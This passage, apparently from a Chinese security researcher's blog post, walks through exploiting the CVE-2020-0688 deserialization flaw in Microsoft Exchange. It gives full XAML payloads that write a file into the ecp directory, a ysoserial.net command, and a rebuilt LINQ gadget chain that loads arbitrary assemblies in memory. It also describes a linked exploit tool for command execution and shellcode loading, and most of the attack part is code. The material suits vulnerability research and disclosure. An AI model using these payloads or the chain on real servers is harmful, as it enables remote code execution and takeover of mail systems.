&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;System:String&amp;gt;&amp;quot;/c&amp;nbsp;cd&amp;nbsp;%ExchangeInstallPath%&amp;nbsp;&amp;amp;amp;&amp;amp;amp;&amp;nbsp;echo&amp;nbsp;.&amp;nbsp;&amp;gt;&amp;nbsp;ClientAccess\ecp\LiveIdError.aspx&amp;quot;&amp;lt;/System:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;ResourceDictionary&amp;nbsp;xmlns=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:x=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:s=&amp;quot;clr-namespace:System;assembly=mscorlib&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:io=&amp;quot;clr-namespace:System.IO;assembly=mscorlib&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;x&amp;quot;&amp;nbsp;ObjectType=&amp;quot;{x:Type&amp;nbsp;io:File}&amp;quot;&amp;nbsp;MethodName=&amp;quot;WriteAllText&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;C:\Program&amp;nbsp;Files\Microsoft\Exchange&amp;nbsp;Server\V15\ClientAccess\ecp\LiveIdError.aspx&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译执行访问，均可在ecp目录创建LiveIdError.aspx文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x43 优化文件写入&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;显然，粗暴的方式有着各种各样的缺点，对于完美主义者，还需要找到其他方式进行规避。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们现在已知绝对路径存放于%ExchangeInstallPath%，那么只要将其取出作为ObjectDataProvider.MethodParameters的第一个参数即可。但通过ObjectDataProvider调用方法的后，存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例，直接将其作为参数传入会抛出异常，所以需要一个能够调用方法且返回类型本身的方式。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在查询xaml官方文档后可以找到x:FactoryMethod指令，该指令用于对象初始化。其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型，完全符合需求。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;那么解决方案也就很简单了：在s:String元素上以FactoryMethod方式调用[mscorlib]System.Environment::GetEnvironmentVariable获取安装路径，之后以同样方式调用[mscorlib]System.String.Concat拼接文件名，最后调用AppendAllText写入文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;完整的xaml如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;ResourceDictionary&amp;nbsp;xmlns=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:x=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:s=&amp;quot;clr-namespace:System;assembly=mscorlib&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:w=&amp;quot;clr-namespace:System.Web;assembly=System.Web&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;nbsp;x:Key=&amp;quot;a&amp;quot;&amp;nbsp;x:FactoryMethod=&amp;quot;s:Environment.GetEnvironmentVariable&amp;quot;&amp;nbsp;x:Arguments=&amp;quot;ExchangeInstallPath&amp;quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;nbsp;x:Key=&amp;quot;b&amp;quot;&amp;nbsp;x:FactoryMethod=&amp;quot;Concat&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;x:Arguments&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;StaticResource&amp;nbsp;ResourceKey=&amp;quot;a&amp;quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;\ClientAccess\ecp\LiveIdError.aspx&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/x:Arguments&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;x&amp;quot;&amp;nbsp;ObjectType=&amp;quot;{x:Type&amp;nbsp;s:IO.File}&amp;quot;&amp;nbsp;MethodName=&amp;quot;AppendAllText&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;StaticResource&amp;nbsp;ResourceKey=&amp;quot;b&amp;quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;c&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{x:Static&amp;nbsp;w:HttpContext.Current}&amp;quot;&amp;nbsp;MethodName=&amp;quot;&amp;quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;d&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;c}&amp;quot;&amp;nbsp;MethodName=&amp;quot;get_Response&amp;quot;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;e&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;d}&amp;quot;&amp;nbsp;MethodName=&amp;quot;End&amp;quot;/&amp;gt;
&amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;此xaml等同于以下C#代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;string&amp;nbsp;a=Environment.GetEnvironmentVariable(&amp;quot;ExchangeInstallPath&amp;quot;);
string&amp;nbsp;b=string.Concat(a,&amp;quot;\ClientAccess\ecp\LiveIdError.aspx&amp;quot;);
File.AppendAllText(b,&amp;quot;&amp;quot;);
HttpContext.Current.Response.End();&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译执行访问，可在未知绝对路径的情况下无感知地创建我们需要的空白文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x44 高级操作与ysoserial.net缺陷&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;通过第一阶段创建的白名单文件，可以将不足2048字节的payload拓展到IIS默认的4M上限，这样我们就能通过更大的payload进行高级操作。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所谓高级操作，就是以不落地的方式在当前进程内存中执行任何操作，包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。在.net无限制反序列化的环境前提下，可以通过ObjectSerializedRef反序列化LinqIterator对象在内存中加载.net程序集并实例化，最终实现任意代码执行。这个方式在yssoserial.net中以ActivitySurrogateSelectorGenerator和ActivitySurrogateSelectorFromFileGenerator进行实现。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ActivitySurrogateSelectorFromFileGenerator提供一个将C#源码编译为程序集并在远程加载的功能，首先创建以下测试代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;class&amp;nbsp;E
{
&amp;nbsp;&amp;nbsp;public&amp;nbsp;E()
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.Diagnostics.Process.Start(&amp;quot;notepad&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.Web.HttpContext.Current.Response.Write(&amp;quot;exploit!&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.Web.HttpContext.Current.Response.End();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch{}
&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后执行以下命令生成payload。这里注意，为了保证测试效果防止提前踩坑，请暂时在目标Exchange服务器上执行：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;ysoserial&amp;nbsp;-g&amp;nbsp;ActivitySurrogateSelectorFromFile&amp;nbsp;-f&amp;nbsp;BinaryFormatter&amp;nbsp;-c&amp;nbsp;exploitclass.cs;System.Web.dll;System.dll&amp;nbsp;&amp;gt;o.dat&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;修改之前的反序列化测试程序，编译执行访问，不出意外的话可以得到以下结果：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060945621694.png&quot; title=&quot;11.png&quot; alt=&quot;11.png&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;成功创建子进程notepad，回显输出exploit!，表明上述代码已经在远程执行。接下来对代码进行自定义修改即可进行任何操作，例如命令回显、ShellCode等等。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;看似一切完美？其实并不。现在可以打开C:\Windows\Microsoft.NET\Framework64\v4.0.30319目录，查看System.Core.dll的文件版本。例如当前测试环境为4.7.3362.0，表示fx版本为4.7.x。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;下面来模拟真实环境远程生成payload。真实环境下不可能知道对方的fx版本（返回头中的版本号永远都是4.0.30319），所以常规做法是通过ysoserial.net直接生成一个payload并发送。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如通过同样的方式，在文件版本4.6.1098.0（对应fx版本4.6.x）的环境下能够成功生成payload，但继续编译执行访问，不会得到任何结果。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试，会得到一个TypeLoadException：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-powershell&quot;&gt;$fmt=new-object&amp;nbsp;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter;
$mft.Deserialize((new-object&amp;nbsp;System.IO.FileStream(&amp;quot;o.dat&amp;quot;,&amp;#39;Open&amp;#39;,&amp;#39;Read&amp;#39;)));&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060998565243.png&quot; title=&quot;12.png&quot; alt=&quot;12.png&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据错误信息对应到[System.Core]System.Linq.Enumerable类，可以看到在fx 4.7.x的程序集中这个类的名称由Enumerable+&amp;lt;SelectManyIterator&amp;gt;d__16变成了Enumerable+&amp;lt;SelectManyIterator&amp;gt;d__17。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;反序列化时找不到类型自然无法创建实例，最终导致利用失败。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x45 构造完美的反序列化数据&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先要理解ActivitySurrogateSelectorGenerator的工作原理，其逻辑非常简单：通过linq调用，顺序执行Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type)，从而实例化由字节数组存储的程序集中定义的类，达到代码执行的效果。整体流程大致等价为以下C#代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;foreach(byte[]&amp;nbsp;data&amp;nbsp;in&amp;nbsp;byte[][])
{
&amp;nbsp;&amp;nbsp;foreach(Type&amp;nbsp;t&amp;nbsp;in&amp;nbsp;Assembly.Load(data).GetTypes())
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Activator.CreateInstance(t);
&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的迭代器或枚举器。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后，在ilspy中查找Enumerable+&amp;lt;SelectManyIterator&amp;gt;d__17的引用，可发现在System.Linq.Enumerable.SelectManyIterator方法进行调用，反编译可以看到以下代码：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061056118135.png&quot; title=&quot;14.png&quot; alt=&quot;14.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;可以看到是一个迭代器语法糖，很明显是由编译器自动生成的状态机类。实际上，类型名中的16/17为编译期间由编译器内部维护的一个序号，随着自动生成的类增加而增长，所以在不同版本的fx中不一定相同。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;为了避免这样的问题，继续查找是哪个调用导致将此对象写入了序列化数据中。迭代器的上级调用有且只有System.Linq.Enumerable.SelectMany，而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;var&amp;nbsp;e2&amp;nbsp;=&amp;nbsp;e1.SelectMany(map_type);&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在最后的问题就转换成了如何将SelectMany替换为其他等价表达式。根据代码以及生成的数据可以知道，Where表达式/拓展方法返回的WhereSelectEnumerableIterator不会调用自动生成的类，是一个较好的序列化目标。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;WhereSelectEnumerableIterator中包含两个委托selector和predicate。其中selector的签名为Func&amp;lt;T,R&amp;gt;，可以调用诸如Assembly.Load等静态方法将一个对象转换为另外的对象，或是在一个对象实例上调用无参方法；predicate的签名为Func&amp;lt;T,bool&amp;gt;，会作为条件判断在selector之前进行调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;缺失的调用链中GetTypes返回一个Type数组，由[mscorlib]System.Array基类实现IEnumerable接口，于是可以调用GetEnumerator方法，获取一个IEnumerator对象。通过获取IEnumerator对象的Current属性，可以得到Type实例，在获取之前需要调用MoveNext方法，该方法的签名恰好和predicate匹配。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以最后不难得出以下调用链：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;对应的代码为：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;static&amp;nbsp;IEnumerable&amp;lt;TResult&amp;gt;&amp;nbsp;GetEnum&amp;lt;TSource,TResult&amp;gt;
(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IEnumerable&amp;lt;TSource&amp;gt;&amp;nbsp;src,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Func&amp;lt;TSource,&amp;nbsp;bool&amp;gt;&amp;nbsp;predicate,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Func&amp;lt;TSource,&amp;nbsp;TResult&amp;gt;&amp;nbsp;selector
)
{
&amp;nbsp;&amp;nbsp;Type&amp;nbsp;t=Assembly.Load(&amp;quot;System.Core,&amp;nbsp;Version=3.5.0.0,&amp;nbsp;Culture=neutral,&amp;nbsp;PublicKeyToken=b77a5c561934e089&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.GetType(&amp;quot;System.Linq.Enumerable+WhereSelectEnumerableIterator`2&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.MakeGenericType(typeof(TSource),typeof(TResult));
&amp;nbsp;&amp;nbsp;return&amp;nbsp;t.GetConstructors()[0].Invoke(new&amp;nbsp;object[]{src,predicate,selector})&amp;nbsp;as&amp;nbsp;IEnumerable&amp;lt;TResult&amp;gt;;
}
IEnumerable&amp;lt;Assembly&amp;gt;&amp;nbsp;e2=GetEnum&amp;lt;byte[],Assembly&amp;gt;(new&amp;nbsp;byte[][]{File.ReadAllBytes(&amp;quot;RemoteStub.dll&amp;quot;)},null,Assembly.Load);
IEnumerable&amp;lt;IEnumerable&amp;lt;Type&amp;gt;&amp;gt;&amp;nbsp;e3=GetEnum&amp;lt;Assembly,IEnumerable&amp;lt;Type&amp;gt;&amp;gt;(e2,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;null,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(Func&amp;lt;Assembly,&amp;nbsp;IEnumerable&amp;lt;Type&amp;gt;&amp;gt;)Delegate.CreateDelegate
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(Func&amp;lt;Assembly,&amp;nbsp;IEnumerable&amp;lt;Type&amp;gt;&amp;gt;),&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(Assembly).GetMethod(&amp;quot;GetTypes&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)
);
IEnumerable&amp;lt;IEnumerator&amp;lt;Type&amp;gt;&amp;gt;&amp;nbsp;e4&amp;nbsp;=&amp;nbsp;GetEnum&amp;lt;IEnumerable&amp;lt;Type&amp;gt;,IEnumerator&amp;lt;Type&amp;gt;&amp;gt;(e3,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;null,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(Func&amp;lt;IEnumerable&amp;lt;Type&amp;gt;,IEnumerator&amp;lt;Type&amp;gt;&amp;gt;)Delegate.CreateDelegate
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(Func&amp;lt;IEnumerable&amp;lt;Type&amp;gt;,IEnumerator&amp;lt;Type&amp;gt;&amp;gt;),&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(IEnumerable&amp;lt;Type&amp;gt;).GetMethod(&amp;quot;GetEnumerator&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)
);
IEnumerable&amp;lt;Type&amp;gt;&amp;nbsp;e5&amp;nbsp;=&amp;nbsp;GetEnum&amp;lt;IEnumerator&amp;lt;Type&amp;gt;,Type&amp;gt;(e4,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(Func&amp;lt;IEnumerator&amp;lt;Type&amp;gt;,bool&amp;gt;)Delegate.CreateDelegate
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(Func&amp;lt;IEnumerator&amp;lt;Type&amp;gt;,bool&amp;gt;),&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(IEnumerator).GetMethod(&amp;quot;MoveNext&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(Func&amp;lt;IEnumerator&amp;lt;Type&amp;gt;,Type&amp;gt;)Delegate.CreateDelegate
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(Func&amp;lt;IEnumerator&amp;lt;Type&amp;gt;,Type&amp;gt;),&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeof(IEnumerator&amp;lt;Type&amp;gt;).GetProperty(&amp;quot;Current&amp;quot;).GetGetMethod()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)
);
PagedDataSource&amp;nbsp;pds&amp;nbsp;=&amp;nbsp;new&amp;nbsp;PagedDataSource()&amp;nbsp;{&amp;nbsp;DataSource&amp;nbsp;=&amp;nbsp;e5&amp;nbsp;};
//....
ls.Add(e1);
ls.Add(e2);
#&amp;nbsp;ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(pds);
//....&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;注意，通过链式Select会调用WhereSelectEnumerableIterator.Select方法，此方法的调用过程中使用了lambda表达式，同样会导致序列化编译器自动生成的类，所以只能通过反射进行创建。RemoteStub.dll为需要在远程加载执行的dll。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;修改ActivitySurrogateSelectorGenerator并重新生成payload，其中不再包含任何自动生成类。编译执行访问成功加载执行我们指定的程序集，至此漏洞利用圆满达成。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x50 Exp&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;有了上述研究结论，编写出更为通用的exp也就不难了，可以在&lt;a href=&quot;http://github/zcgonvh/CVE-2020-0688&quot; target=&quot;_self&quot;&gt;github&lt;/a&gt;进行下载。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其中ExchangeDetect为检测程序，原理基于0x31一节所述，可以在CoreCLR环境下运行。仅支持单个检测，存在漏洞的话ExitCode将返回4。如果需要批量检测请自行修改或判断返回值。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;执行结果如图所示：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061191471970.png&quot; title=&quot;15.png&quot; alt=&quot;15.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ExchangeCmd为Exp，支持命令执行和远程ShellCode加载，其原理基于0x41-0x45小节所述。第一阶段通过反序列化写入空白LiveIdError.aspx，第二阶段通过向此文件发送最终的Payload加载指定自定义dll，达到代码执行。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;执行成功后会返回一个伪交互式命令行，其支持的命令如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;exec&amp;nbsp;&amp;lt;cmd&amp;gt;&amp;nbsp;[args]
&amp;nbsp;&amp;nbsp;exec&amp;nbsp;command

arch
&amp;nbsp;&amp;nbsp;get&amp;nbsp;remote&amp;nbsp;process&amp;nbsp;architecture(for&amp;nbsp;shellcode)

shellcode&amp;nbsp;&amp;lt;shellcode.bin&amp;gt;
&amp;nbsp;&amp;nbsp;run&amp;nbsp;shellcode

exit
&amp;nbsp;&amp;nbsp;exit&amp;nbsp;program&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在本地测试环境执行的结果如图所示：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061230559358.png&quot; style=&quot;&quot; title=&quot;16.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061231533894.png&quot; style=&quot;&quot; title=&quot;17.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;RemoteStub为此Exp发送的dll，所有的交互都已进行加密，其执行whoami /all产生的数据如图所示：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061273457363.png&quot; title=&quot;18.png&quot; alt=&quot;18.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Github: &lt;a href=&quot;http://github/zcgonvh/CVE-2020-0688&quot; target=&quot;_self&quot;&gt;http://github/zcgonvh/CVE-2020-0688&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 16px; text-indent: 2em;&quot;&gt;附件：&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;http://www.zcgonvh.com/zb_users/plugin/UEditor/dialogs/attachment/fileTypeImages/icon_pdf.gif&quot;/&gt;&lt;a 